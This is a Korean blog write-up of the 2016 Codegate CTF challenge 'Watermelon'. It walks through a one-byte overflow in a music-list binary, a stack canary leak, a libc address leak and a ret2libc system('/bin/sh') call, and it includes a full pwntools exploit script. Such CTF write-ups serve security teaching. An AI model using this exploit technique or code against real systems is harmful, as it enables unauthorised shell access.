2016 Codegate Watermelon writeup
by St1tch문제는 name을 입력하고
음악과 아티스트를 add, view, modify 하는 프로그램이다.
파일은 32bit 리눅스 실행파일이고, canary와 nx가 적용되어있다.
main함수를 보면 memset을 통해 esp + 1C에다가 0x44C * 4만큼 0으로 초기화 해주고 있다.
그리고 바로 뒤에 canary가 들어가는 구조이다.
esp를 0xfffffff0와 and연산하므로 일단 ret까지의 dummy가 8 + (0~16) + 4 만큼 필요하다.
그리고 name을 입력하는데 전역변수에 입력을 하기 때문에 원하는 문자열을 입력해서 사용할 수 있다.
이제 취약점이 있는 함수를 살펴보겠다.
여기서 구조체의 구조를 알 수있다.
이러한 구조로 되어있고 크기는 44바이트지만 music과 artist는 21바이트씩 쓸 수 있으므로 bof가 발생한다.
100번째 구조체의 바로 뒤에는 canary가 있다.
null canary의 경우 100번째 artist에 'A'*20 + '\n' 이런식으로 입력하면 view함수에서 canary가 leak된다.
구조체를 수정하는 함수를 보면 artist를 수정할때 엄청 큰 값을 읽어들인다.
따라서 100번째 구조체의 artist에 dummy(20) + canary + dummy + ret 이런식의 페이로드를 넣으면
main이 종료 될 때, 원하는 곳으로 갈 수 있다.
이제 방법은 알았으니 순서대로 공격을 시도 했다.
1. 우선 canary를 leak한다.
2. main함수의 ret주소를 구한다.
3. 라이브러리에서의, system, /bin/sh의 오프셋을 구한다.
4. name에 '/bin/sh'를 넣고 system함수를 실행한다.
import stitch
from pwn import *
s = remote('10.211.55.38', 9005)
raw_input('ready')
s.recvuntil('\n')
s.sendline('uk')
#canary leak
for _ in range(100) :
s.recvuntil('select')
s.sendline('1')
s.recvuntil('music')
s.sendline('lyn')
s.recvuntil('artist')
s.sendline('A' * 21)
s.recvuntil('select')
s.sendline('2')
tmp = s.recvuntil('select')
canary = '\x00' + tmp.split('100')[1].split('A'*21)[1][:3]
#libc leak
s.sendline('3')
s.recvuntil('number')
s.sendline('100')
s.recvuntil('music')
s.sendline('uk')
s.recvuntil('artist')
pay = 'A' * 24
pay += 'ZZZZ' * 2 + 'ZZZ'
s.sendline(pay)
s.recvuntil('select')
s.sendline('2')
#calcuate system, binsh addr
tmp = s.recvuntil('select')
libc_ret = tmp.split('100')[1].split('Z'*11)[1][1:5][::-1].encode('hex')
libc = stitch.find_libc({'main_ret' : libc_ret[-3:]})[0]
stitch.dump_str(libc_ret)
offset = int(libc_ret, 16) - libc['main_ret']
system = offset + libc['system']
binsh = offset + libc['binsh']
#exploit
s.sendline('3')
s.recvuntil('number')
s.sendline('100')
s.recvuntil('music')
s.sendline('uk')
s.recvuntil('artist')
pay = 'A' * 20
pay += canary
pay += 'Z' * 12
pay += p32(system)
pay += 'Z' * 4
pay += p32(binsh)
s.sendline(pay)
s.interactive()
블로그의 정보
튜기's blogg(st1tch)
St1tch